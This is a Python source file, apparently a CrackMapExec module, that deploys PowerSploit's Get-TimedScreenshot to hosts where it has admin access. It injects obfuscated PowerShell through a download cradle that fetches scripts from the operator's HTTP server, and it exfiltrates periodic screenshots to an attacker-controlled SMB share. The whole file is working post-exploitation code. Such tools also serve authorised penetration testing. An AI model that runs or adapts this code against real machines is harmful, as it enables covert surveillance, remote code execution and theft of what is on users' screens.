82 lines
3.3 KiB
Python
82 lines
3.3 KiB
Python
from cme.helpers.powershell import *
|
|
from cme.helpers.misc import gen_random_string
|
|
from cme.servers.smb import CMESMBServer
|
|
from sys import exit
|
|
import os
|
|
|
|
class CMEModule:
|
|
'''
|
|
Executes PowerSploit's Get-TimedScreenshot script
|
|
Module by @byt3bl33d3r
|
|
'''
|
|
|
|
name = 'get_timedscreenshot'
|
|
description = "Takes screenshots at a regular interval"
|
|
supported_protocols = ['smb', 'mssql']
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
'''
|
|
INTERVAL Specifies the interval in seconds between taking screenshots.
|
|
ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time).
|
|
'''
|
|
|
|
if 'INTERVAL' not in module_options:
|
|
context.log.error('INTERVAL option is required!')
|
|
exit(1)
|
|
|
|
if 'ENDTIME' not in module_options:
|
|
context.log.error('ENDTIME option is required!')
|
|
exit(1)
|
|
|
|
self.interval = int(module_options['INTERVAL'])
|
|
self.endtime = module_options['ENDTIME']
|
|
self.share_name = gen_random_string(5).upper()
|
|
|
|
context.log.info('This module will not exit until CTRL-C is pressed')
|
|
context.log.info('Screenshots will be stored in ~/.cme/logs\n')
|
|
|
|
self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
|
|
self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1')
|
|
|
|
self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
|
|
self.smb_server.start()
|
|
|
|
def on_admin_login(self, context, connection):
|
|
screen_folder = 'get_timedscreenshot_{}'.format(connection.host)
|
|
screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(context.localip, self.share_name,
|
|
screen_folder, self.interval,
|
|
self.endtime)
|
|
screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1',
|
|
screen_command, post_back=False)
|
|
|
|
launcher = gen_ps_inject(screen_command, context)
|
|
|
|
connection.ps_execute(launcher)
|
|
context.log.success('Executed launcher')
|
|
|
|
def on_request(self, context, request):
|
|
if 'Invoke-PSInject.ps1' == request.path[1:]:
|
|
request.send_response(200)
|
|
request.end_headers()
|
|
|
|
request.wfile.write(self.ps_script1)
|
|
|
|
elif 'Get-TimedScreenshot.ps1' == request.path[1:]:
|
|
request.send_response(200)
|
|
request.end_headers()
|
|
|
|
#We received the callback, so lets setup the folder to store the screenshots
|
|
screen_folder_path = os.path.join(context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0]))
|
|
if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path)
|
|
#context.log.success('Storing screenshots in {}'.format(screen_folder_path))
|
|
|
|
request.wfile.write(self.ps_script2)
|
|
|
|
else:
|
|
request.send_response(404)
|
|
request.end_headers()
|
|
|
|
def on_shutdown(self, context):
|
|
self.smb_server.shutdown() |